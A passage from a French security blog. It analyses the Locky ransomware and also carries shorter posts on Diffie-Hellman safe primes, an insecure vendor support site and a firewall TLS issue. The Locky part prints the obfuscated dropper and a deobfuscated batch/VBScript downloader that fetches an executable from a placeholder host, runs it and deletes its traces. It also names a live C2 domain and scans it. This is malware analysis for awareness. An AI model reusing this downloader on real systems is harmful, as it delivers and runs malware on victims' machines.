%xrfdwtmany%%qbcenaqizf%%qijgcbtpbo%%luakggdwrt% I%joyobimqxw% %ytfltteaai%%qbcenaqizf%%hjderkorgo%%qbcenaqizf%%pvzjiczcfi%%hjderkorgo%%qbcenaqizf%%hcwccjlkee%.F%xjuwvucnqm%%oiomndfpjb%%xrfdwtmany%E%hjderkorgo%%xjuwvucnqm%%hcwccjlkee%%jjyyhicqyb%%hcwccjlkee%(%xrfdwtmany%%jpgzxifxal%%xanniuhgcs%%xrfdwtmany%%sheaszhotb%%sheaszhotb%%sheaszhotb%) T%qijgcbtpbo%%xrfdwtmany%%foiavmkrnw% %ytfltteaai%%qbcenaqizf%%hjderkorgo%%qbcenaqizf%%pvzjiczcfi%%hjderkorgo%%qbcenaqizf%%hcwccjlkee%.D%xrfdwtmany%%oiomndfpjb%%xrfdwtmany%%jjyyhicqyb%%xrfdwtmany%F%xjuwvucnqm%%oiomndfpjb%%xrfdwtmany% %xrfdwtmany%%jpgzxifxal%%xanniuhgcs%%xrfdwtmany%%sheaszhotb%%sheaszhotb%%sheaszhotb% &amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;gt; %DLOAD_SCRIPT%
%xrfdwtmany%%qbcenaqizf%%qijgcbtpbo%%luakggdwrt% %xanniuhgcs%%xrfdwtmany%%jpgzxifxal%%xanniuhgcs%%xrfdwtmany%%qbcenaqizf%%qbcenaqizf%.S%rombizkvvl%%apsmqqhscw%%xrfdwtmany%T%luakggdwrt%F%xjuwvucnqm%%oiomndfpjb%%xrfdwtmany% %xrfdwtmany%%jpgzxifxal%%xanniuhgcs%%xrfdwtmany%%sheaszhotb%%sheaszhotb%%sheaszhotb%&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;gt; %DLOAD_SCRIPT%
%xrfdwtmany%%qbcenaqizf%%qijgcbtpbo%%luakggdwrt% %xanniuhgcs%%xrfdwtmany%%jpgzxifxal%%xanniuhgcs%%xrfdwtmany%%qbcenaqizf%%qbcenaqizf%.C%oiomndfpjb%%luakggdwrt%%hcwccjlkee%%xrfdwtmany%&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;gt; %DLOAD_SCRIPT%
%xrfdwtmany%%qbcenaqizf%%qijgcbtpbo%%luakggdwrt%.&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;gt; %DLOAD_SCRIPT%
%tupxnybbpi%%xrfdwtmany%%dmnyjodsiy% -------------------------------------------------------------------------

cscript //Nologo %DLOAD_SCRIPT% http://&amp;amp;amp;amp;amp;amp;amp;lt;SITE_COMPROMIS&amp;amp;amp;amp;amp;amp;amp;gt;/6/6.exe %TMP%\asddddd.exe &amp;amp;amp;amp;amp;amp;amp;amp; start %TMP%\asddddd.exe &amp;amp;amp;amp;amp;amp;amp;amp; del %TMP%\dasdee.vbs &amp;amp;amp;amp;amp;amp;amp;amp; del %TMP%\arra.bat

Une fois que nous avons remplacé toutes les strings  :

rem -------------------------------------------------------------------------
set DLOAD_SCRIPT=%TMP%\dasdee.vbs
echo Option Explicit                                                    &amp;amp;amp;gt;  %DLOAD_SCRIPT%
echo Dim sdasdsacc, rewrwef, jcxcyxcs, weqwecc, sadasdvbb, eqweddd                 &amp;amp;amp;gt;&amp;amp;amp;gt; %DLOAD_SCRIPT%
echo.                                                                   &amp;amp;amp;gt;&amp;amp;amp;gt; %DLOAD_SCRIPT%
echo Set sdasdsacc = Wscript.Arguments                                       &amp;amp;amp;gt;&amp;amp;amp;gt; %DLOAD_SCRIPT%
echo Set rewrwef = CreateObject(&amp;amp;amp;quot;WinHttp.WinHttpRequest.5.1&amp;amp;amp;quot;)              &amp;amp;amp;gt;&amp;amp;amp;gt; %DLOAD_SCRIPT%
echo sadasdvbb = sdasdsacc(0)                                                      &amp;amp;amp;gt;&amp;amp;amp;gt; %DLOAD_SCRIPT%
echo eqweddd = sdasdsacc(1)                                                   &amp;amp;amp;gt;&amp;amp;amp;gt; %DLOAD_SCRIPT%
echo.                                                                   &amp;amp;amp;gt;&amp;amp;amp;gt; %DLOAD_SCRIPT%
echo rewrwef.Open &amp;amp;amp;quot;GET&amp;amp;amp;quot;, sadasdvbb, False                                        &amp;amp;amp;gt;&amp;amp;amp;gt; %DLOAD_SCRIPT%
echo rewrwef.Send                                                          &amp;amp;amp;gt;&amp;amp;amp;gt; %DLOAD_SCRIPT%
echo.                                                                   &amp;amp;amp;gt;&amp;amp;amp;gt; %DLOAD_SCRIPT%
echo Set weqwecc = CreateObject(&amp;amp;amp;quot;ADODB.Stream&amp;amp;amp;quot;)                       &amp;amp;amp;gt;&amp;amp;amp;gt; %DLOAD_SCRIPT%
echo weqwecc.Open                                                     &amp;amp;amp;gt;&amp;amp;amp;gt; %DLOAD_SCRIPT%
echo weqwecc.Type = 1                                                 &amp;amp;amp;gt;&amp;amp;amp;gt; %DLOAD_SCRIPT%
echo weqwecc.Write rewrwef.ResponseBody                                  &amp;amp;amp;gt;&amp;amp;amp;gt; %DLOAD_SCRIPT%
echo weqwecc.Position = 0                                             &amp;amp;amp;gt;&amp;amp;amp;gt; %DLOAD_SCRIPT%
echo.                                                                   &amp;amp;amp;gt;&amp;amp;amp;gt; %DLOAD_SCRIPT%
echo Set jcxcyxcs = CreateObject(&amp;amp;amp;quot;Scripting.FileSystemObject&amp;amp;amp;quot;)        &amp;amp;amp;gt;&amp;amp;amp;gt; %DLOAD_SCRIPT%
echo If jcxcyxcs.FileExists(eqweddd) Then jcxcyxcs.DeleteFile eqweddd &amp;amp;amp;gt;&amp;amp;amp;gt; %DLOAD_SCRIPT%
echo weqwecc.SaveToFile eqweddd                                        &amp;amp;amp;gt;&amp;amp;amp;gt; %DLOAD_SCRIPT%
echo weqwecc.Close                                                    &amp;amp;amp;gt;&amp;amp;amp;gt; %DLOAD_SCRIPT%
echo.                                                                   &amp;amp;amp;gt;&amp;amp;amp;gt; %DLOAD_SCRIPT%
rem -------------------------------------------------------------------------

cscript //Nologo %DLOAD_SCRIPT% http://&amp;amp;amp;lt;SITE_COMPROMIS&amp;amp;amp;gt;/6/6.exe %TMP%\asddddd.exe &amp;amp;amp;amp; start %TMP%\asddddd.exe &amp;amp;amp;amp; del %TMP%\dasdee.vbs &amp;amp;amp;amp; del %TMP%\arra.batxe &amp;amp;amp;amp;amp;amp;amp;amp; del %TMP%\dasdee.vbs &amp;amp;amp;amp;amp;amp;amp;amp; del %TMP%\arra.bat

On retrouve bien la même chose qu’avec un simple « strings ».

La Charge

Une fois le fichier téléchargé, nous récidivons avec « strings » : on trouve quelques petites choses : un lien de débug dans le code ainsi que l’appel à toute une collection de fonction de chiffrement Windows.

 :~$ strings charge.exe | grep pdb
 Z:\ediu\42dttsh\n2i1tn\jhslvxe.pdb
 :~$ strings charge.exe | grep Crypt
 CryptDestroyHash
 CryptDeriveKey
 CryptEncrypt
 CryptAcquireContextA
 CryptReleaseContext
 CryptCreateHash
 CryptDestroyKey
 CryptDecrypt
 CryptHashData
 :~$ strings charge.exe  | grep -i keyboard
 GetKeyboardLayout

Autre point intéressant, une des premières choses faites par le programme est de vérifier la configuration du clavier : Il y a fort à parier qu’un « layout RU » rende le joujou inoffensif.

Sur notre machine virtuelle, nous éxécutons le fichier malveillan et nous remarquons un appel DNS vers le domaine kqlxtqptsmys.in.

dns

Nous effectuons alors un scan de port  :

 :~$ sudo nmap -T4 -A  xsso.kqlxtqptsmys.in
 Nmap scan report for xsso.kqlxtqptsmys.in (195.22.28.198)
 Host is up (0.039s latency).
 Other addresses for xsso.kqlxtqptsmys.in (not scanned): 195.22.28.196 195.22.28.197 195.22.28.199
 Not shown: 968 closed ports
 PORT      STATE    SERVICE      VERSION
 53/tcp    open     http         nginx
 80/tcp    open     http         nginx
 82/tcp    open     http         nginx
 88/tcp    open     http         nginx
 443/tcp   open     http         nginx
 |_http-methods: No Allow or Public header in OPTIONS response (status code 400)
 |_http-title: 400 The plain HTTP request was sent to HTTPS port
 | ssl-cert: Subject: commonName=lolcat
 | Not valid before: 2009-04-02T14:49:38+00:00
 |_Not valid after:  2019-03-31T14:49:38+00:00
 |_ssl-date: 2030-02-23T05:05:21+00:00; +14y3d19h18m09s from local time.
 | tls-nextprotoneg:
 |_  http/1.1
 801/tcp   open     http         nginx
 1001/tcp  open     http         nginx
 3333/tcp  open     http         nginx
 4000/tcp  open     http         nginx
 5959/tcp  open     http         nginx
 6969/tcp  open     http         nginx
 8080/tcp  open     http         nginx
 8383/tcp  open     http         nginx
 |_http-methods: No Allow or Public header in OPTIONS response (status code 400)
 |_http-title: 400 The plain HTTP request was sent to HTTPS port
 10002/tcp open     http         nginx

(Pour plus de lisibilité, nous avons épuré la sortie de nmap)
Bref, cela fait tout de même beaucoup de service http sur des ports exotiques…

Nous constatons par ailleurs un beau dialogue entre ce serveur et notre machine :

http

Notre capture réseau est intéressante car contrairement à Dridex, le trafic entre notre machine et le serveur C&C de nos amis slaves n’est pas chiffré en SSL (du coup pas de besoin de déchiffrer pour voir ce qui se passe) mais semble par ailleurs obfusqué par un mécanisme propre : quoiqu’il en soit le contenu des requêtes POST est a priori assez encodé : Cela semble être confirmé par des gens qui ont dépioté le binaire.

Le chiffrement

En parallèle, le logiciel malveillant n’a pas chomé sur notre machine virtuelle et à renommer une bonne partie de nos fichiers en truc incompréhensible mais avec une extension .locky : On peut cependant une logique les 16 premiers caractères représentent notre identifiant (ils sont communs à tous nos fichiers et nous serons utiles pour récupérer le contenu de nos fichiers), les 16 autres semblent être aléatoires et varient d’un fichier à un autre.

B623F7F0B6909B39CB34337AD10DFCD6.locky

Nous avons en plus un petit fichier texte qui s’est ouvert nous précisant la procédure pour récupérer nos précieux fichiers : en prenant bien soin de préciser que nos fichiers ont été chiffrés en RSA-2048 et AES-128.

Enfin en fouinant dans la base de registre, on tombe sur des clés Locky qui contient plusieurs champs [HKEY_CURRENT_USER\Software\Locky]
regedit

Nous pouvons donc récupérer notre clé publique et c’est là où ca devient encore plus intéressant : notre clé publique est étrange :

"pubkey"=hex:06,02,00,00,00,a4,00,00,52,53,41,31,00,08,00,00,01,00,01,00,89,6e,\
  34,7c,85,06,57,0a,1f,31,4b,ed,ab,65,82,3b,1e,23,d8,b1,2d,31,dd,1a,f1,e0,ee,\
  14,e6,64,e7,7d,99,48,54,b9,f4,96,78,a3,0a,8a,77,71,c3,5f,ba,3a,d2,72,ba,a5,\
  45,50,91,cd,18,2a,63,6b,42,90,bc,51,03,df,15,49,c1,43,2f,11,e8,fc,27,d6,1a,\
  6b,7a,d9,ec,d9,1b,b5,0c,e5,5b,87,e6,29,77,8c,26,68,3e,e9,cf,81,1a,a3,0c,dd,\
  90,f8,6f,88,d5,e0,3e,c2,26,4d,2e,1b,b7,c5,2b,7e,66,48,3d,93,35,72,a5,65,f1,\
  d1,77,51,22,40,9c,18,cf,6a,7f,03,7d,05,58,6d,ce,71,be,3d,2d,ce,01,31,3a,4b,\
  2a,5c,e8,ba,c3,9a,e2,a2,44,33,97,85,a5,32,e6,88,16,27,86,29,7a,ed,6b,57,31,\
  68,46,45,62,97,55,c6,dd,60,10,92,1b,d3,ab,24,6e,2d,bb,29,3f,7f,22,0d,c0,54,\
  c3,59,30,02,35,aa,44,7e,06,46,59,6e,2e,72,7c,cb,0f,5a,55,eb,30,dd,cb,9e,17,\
  c4,5c,87,20,e4,53,5f,21,6e,0f,3f,87,2a,7f,2a,63,a3,de,f8,2e,91,93,7a,35,c5,\
  ed,f2,cc,c0

Certes nous avons un exposant public classique (65537 ou 0x10001), mais le modulus est pair et a plusieurs diviseurs triviaux (ou pas):
2^6, 7, 13, 3993309044406929670385219, 65665849284071783757751964600448067859
Du coup, nous sommes en droit de nous poser des questions sur leur système de génération de clé RSA (cependant il n’est pas à exclure que le modulus soit lui-même encodé). [EDIT 160402] L’encode est en little endian… donc tout ce qui est écrit ici est caduque.

Par ailleurs, notons que si nous infectons plusieurs fois notre machine avec Locky (en prenant soins de supprimer les clés de registre associées), le même id et la même clé publique sont générés à nouveau.

Rajoutons ici que tous les fichiers ainsi chiffrés voient leur taille augmenter de 836 octects. En effet une chaîne de 836 octets commençant par  {0x93, 0xfe, 0x56, 0x89, <16 Octects de l’ID>} est systématiquement présentent en fin de fichier chiffré. En utilisant l’outils byte-stats.py (toujours de notre ami belge), on constate une entropie quasi parfaite du fichier : souvent synonyme de bon chiffrement !

:~$ python ../../byte-stats.py C2D7B61614A94593CB34337AD10DFCD6.locky
Byte ASCII Count     Pct
0xab        7214   0.38%
0x95        7231   0.38%
0xdc        7243   0.38%
0x26 &      7245   0.38%
0x53 S      7259   0.38%
...
0x9b        7634   0.40%
0xa3        7637   0.40%
0xf2        7666   0.40%
0xd2        7671   0.40%
0xc5        7672   0.40%

Size: 1906010  Bucket size: 10240  Bucket count: 186

                   File(s)           Minimum buckets   Maximum buckets
Entropy:           7.999900          7.977723          7.986161
                     Position:       0x000e8800        0x00016800
NULL bytes:            7515   0.39%        22   0.21%        58   0.57%
Control bytes:       200962  10.54%      1015   9.91%      1164  11.37%
Whitespace bytes:     45021   2.36%       205   2.00%       292   2.85%
Printable bytes:     699592  36.70%      3625  35.40%      3904  38.12%
High bytes:          952920  50.00%      4984  48.67%      5269  51.46%

Enfin et c’est là ce qui nous trouble le plus : deux fichiers textes contenant respectivement « Hello World » et « Hello World 2016 » chiffrés ont une différence de taille de 5 octects : tout comme les originaux.

Dans un cas de chiffrement par bloc classique (par exemple utilisation de AES-128-CBC), ces 2 fichiers devraient avoir la même taille (ou différer d’un multiple de 16 : taille du bloc de l’AES) : à moins que nos amis russes ne soient fans de mode exotique comme celui du challenge SSTIC 2015… mais nous en doutons !

Y aurait-il un lien avec les mauvaises pratiques de TeslaCrypt ?

A méditer donc…

Conclusion :

Si on résume, le fonctionnement est similaire à Dridex mais différe :

  • Même technique de piégeage des fichiers
  • La macro génère un fichier qui lui même génère un script (Dridex était plus directe)
  • Les communications avec les C&C sont en claire (pas de SSL) contrairement à Dridex
  • Le binaire n’est pas signé (contrairement à Dridex)
  • Les fonctions de chiffrement ont des propriétés étonnantes (Parité du modulus RSA / fichier chiffré non multiple de 16).
  • Sur nos tests : éteindre son poste violement (genre arracher le cable) permet d’éviter que tous les fichiers ne soient chiffrés.

Si jamais il y a des gens avec des compétences en retro-ingénierie qui veulent bien se pencher sur les fonctions de chiffrement de Locky: il y a peut être des choses à voir…Nous nous n’avons simplement pas les compétences…

[EDIT 20160324 :  Nous en avions rêvé Lexsi l’a fait :  et ça confirme certaines nos hypothèses et infirme les autres :)]

Et sinon de quand datent vos dernières sauvegardes ?

Publié dans Sensibilisation, Uncategorized | Tagué , , | 1 commentaire

Le logarithme discret et le PSG

Le 28 janvier 2016, OpenSSL a publié un avis de sécurité notamment sur une erreur d’implémentation affectant le protocole Diffie Hellmann. Enfin plus précisemment, OpenSSL annonce avoir corrigé un bug dans la génération de nombre premier utilisé pour ce protocole.

Histoire de fixer les notations, rappelons ici rapidement comment l’on utilise le problème du logarithme discret pour assurer le partage de secret entre deux parties Alice et Bob :

Alice et Bob se mettent d’accord sur  un nombre premier « P » et un nombre « g » (ces deux nombres sont publics).

  • Alice choisit un nombre a, calcule g^a \mod P puis transmet le résultat à Bob
  • De la même façon Bob  choisit un nombre b, calcule g^b \mod P puis transmet le résultat à Alice.

Le secret partagé est alors le nombre g^{ab} \mod P

Du coup si nous nous penchons un peu sur le logarithme discret, toute la sécurité repose sur la difficulté à retrouver rapidement a en fonction de g^a \mod P.

En théorie oui, mais comme nous allons le voir, il se peut en pratique qu’on puisse retrouver a’ différent de a tel que :
g^{a'} \mod P = g^a \mod P

Du coup cela peut alors énormément faciliter la tache des attaquants. Le choix de P et de g est déterminant pour garantir un bon niveau de sécurité du protocole DH (et plus généralement du logarithme discret).

Afin de fixer les esprits prenons volontairement un P petit : P=13.  En observant les 2 tableaux ci dessous, on constate plusieurs choses. Expliquons si elle n’est pas évidente la sémantique de nos tableaux : En abscisse les différentes valeurs de g, et en
ordonnée les puissances a, ainsi la case (g,a) donne g^a mod P.
Rappelons ici que nous n’avons pas besoin de calculer pour a\leq P car a^P = a \mod P (cf petit théorème de Fermat).
groupe Z/13Z
D’abord sur le tableau de droite montre l’occurrence de g^a = 1 \mod 13
Remarquons le grand nombre de 1, la symétrie mais aussi que seules 4 lignes n’ont aucun 1 (autre que celui de la première colonne).

Remarquons également dans le premier tableau, les colonnes de même couleur qui représentent les g qui ont le même cycle (i.e. pour qui g^a = 1 \mod P pour le même a).

En particulier :
a=1, {1}
a=2, {1,12}
a=3, {1,3,9}
a=4, {1,12,5,8}
a=5, {1}
a=6, {1,3,4,9,10,12}
a=7, {1}
a=8, {1,5,8,12}
a=9, {1,3,9}
a=11,{1}
a=12, {1,2,3,4,5,6,7,8,9,10,11,12}

Intéressons nous au cas 1,2,3,4,6 et 12 et remarquons que pour chacun le nombre d’élément tel que g^a mod P = 1 est précisement égale à « a » (Ainsi pour a=6, il y a 6 éléments tels que g^6 = 1 mod P).

Remarquons par ailleurs 1,2,3,4,6 et 12 sont tous les diviseurs de 12 et que 12 = 13 – 1…
Voilà vous commencez à voir venir le « truc » déjà abordé ici ?

Il ne faut pas choisir un P trop friable (avec trop de petit facteur) et un g dans le cycle serait court.

On se rapproche ici un peu de l’idée de P-1 de Pollard, ou pour éviter d’avoir des collisions faciles sur g^a \mod P, il faut que P n’ait de petit facteur et que g ne soit pas un générateur d’un sous groupe trivial de P.

C’est ainsi que nous arrivons à parler du nombre PSG. Le nombre PSG ou nombre premier de Sophie Germain (également appelé dans la littérature anglophone « safe prime » est un nombre premier P impair donc de la forme 2q+1 avec q également premier.

De tels nombres ne sont pas si rares : il n’y a pas de preuve formelle (à notre connaissance), mais une estimation correcte de leur nombre entre 0 et N  est \frac{N}{\log(N)^2} (à comparer au  \frac{N}{\log(N)} des nombres premiers.).

Ainsi pour un nombre premier de Sophie Germain, nous n’aurons que 4 diviseurs de P-1 = 1,2,q et 2q.

Les membres des 2 premiers sous groupes sont triviaux : 1 et p-1 (en effet (p-1)^2 = p^2-2p+1 = 1 \mod P).  Restent donc des générateurs aillant des cycles de q ou 2q, ce qui dès lors que q est grand (1024 bit) est satisfaisant en terme de sécurité.

Reprenons un tableau avec la même idée que ci-dessus mais avec P=23 = 2*11+1
groupe Z/23Z

Lors d’une négociation SSL/TLS avec de la « PFS », il pourrait être intéressant d’étudier systématiquement la sécurité de parametres de DH proposé par le hote distant.

Note importante sur IKE :
A contrario de SSL/TLS, le protocol IKE (tout comme SSH) ne laissent pas libres des P que l’on peut utiliser pour DH : ils sont très précisément expliciter dans les RFCs.

Du coup, nous vous invitons à lire ou relire la publication de l’INRIA pour un panorama complet de la sécurité du protocol Diffie-Hellman

Publié dans Cryptographie Asymétrique, Uncategorized | Tagué , , , , | Laisser un commentaire

Faites ce que je dis pas ce que je fais

Un « support de produit de sécurité » ne veut pas dire « support sécurisé ». En voici une belle illustration merci au « Taureau » français.

support

Alors :

Oui, le mot de passe initialement généré est bien une suite de 4 chiffres.
Oui, le lien pour se connecter au support est bien en http.
Et non, il n’y a pas de redirection automatique en https, ni même de HSTS.

Heureusement, l’authentification se fait quand même via SSL.

connectedSupportUne fois l’authentification jouée, par contre on revient en http.

Du coup, nos téléchargements de microcodes pour des plateformes sécurisés (et Bull en a quelques unes) peuvent parfaitement être compromis par un attaquant. Et tout cela peut se faire à l’insu de l’utilisateur quand bien même un condensat de contrôle serait mis sur la page (en effet la page elle même peut aussi être modifiée).

Le plus triste dans cette histoire ? On hésite  entre 2 possibilités  sur cette histoire d’http en clair:

  • Ils le font bien que le site soit complétement disponible en SSL (faut simplement vérifier que le « s » ne saute pas d’une page à l’autre),
  • Ils le font bien que Atos  soit partenaire de la Hack Academy… et donc parfaitement conscient des enjeux sur le chiffrement des flux réseaux.

Quoi qu’il en soit, ils n’ont pas vraiment d’excuse  !

Publié dans Uncategorized | Laisser un commentaire

Le support ne répond plus

La cryptographie peut parfois être subtile. Pour tous ceux qui en doutaient encore, en voici un exemple concret.

Notre histoire commence en milieu de semaine dernière : Bouclier de Tempête sort une mise à jour pour sa gamme de produit réseau : La version 2.2.1 est disponible. Aussitôt publié, nous l’installons sur notre boitier de test : A priori pas de changement énorme, cela reste conforme à ce qui était annoncé.

Tentative de mise à mort du Sha

Une navigation rapide dans l’interface ne présente pas de changement significatif. Mais après quelques minutes de navigation sur le boitier depuis Firefox, nous constatons des échecs de connexion sur des services en SSL/TLS.

sslfail

Nous souhaitons alors nous connecter au site du support afin de voir s’il y a des infos à ce sujet : Malheureusement, le site du support fait partie des victimes. On va donc devoir se débrouiller seul.

Creusons un peu : tout d’abord allons faire un tour dans les journaux d’événements :

alarm

Visiblement une alarme du module ASQ (liée au niveau de chiffrement) est configurée pour bloquer notre trafic. Allons donc voir de quoi il retourne :

niveau_chiff

Le petit lien « Aide » renvoie vers une base de connaissance toujours aussi explicite… On y comprend qu’il y a très certainement un problème lors la négociation SSL.

Un petit coup de capture réseau sur les interfaces interne externe devrait nous permettre de comprendre davantage. Commençons par analyser le trafic interne :

wireshark_int

On y voit bien notre « Client Hello » avec les 3 propositions de suites de chiffrement. Celui-ci est suivi d’un tcp RST. Voyons donc ce qui se passe de l’autre coté. De la même façon nous y voyons notre « Client Hello » et ses 3 suites proposées.

wireshark_ext

Cependant, de coté de la barrière, le « Server Hello » arrive… Et le serveur choisit comme c’est son droit, (et oui c’est lui qui a le dernier mot, d’où une certaine prudence dans ce que nous lui proposons) la suite TLS_DHE_RSA_WITH_AES_256-CBC-SHA.
(Nous insistons ici sur la version du protocole : TLS 1.2. Vous verrez, c’est important pour la suite).

wireshark_ext_srv

Or si nous avons bien compris l’aide de l’alarme, le blocage par l’ASQ signifie que cette suite de chiffrement est interdite.

Notons que lorsque nous sommes soumis au filtrage du boitier, il semble que seuls deux mécanismes soient autorisés (« Semble » car la commande  « nmap  –script ssl-enum-ciphers.nse  mystormshield.eu » dont le résultat est présenté ci-après est visiblement sensible au temps de réponse du serveur et l’ASQ induit une latence qui fait varier les résultats de la commande, mais on a jamais eu plus de 4 suites valides)

nmap

Nous comparons alors au résultat de la même commande mais cette fois ci sans filtrage :

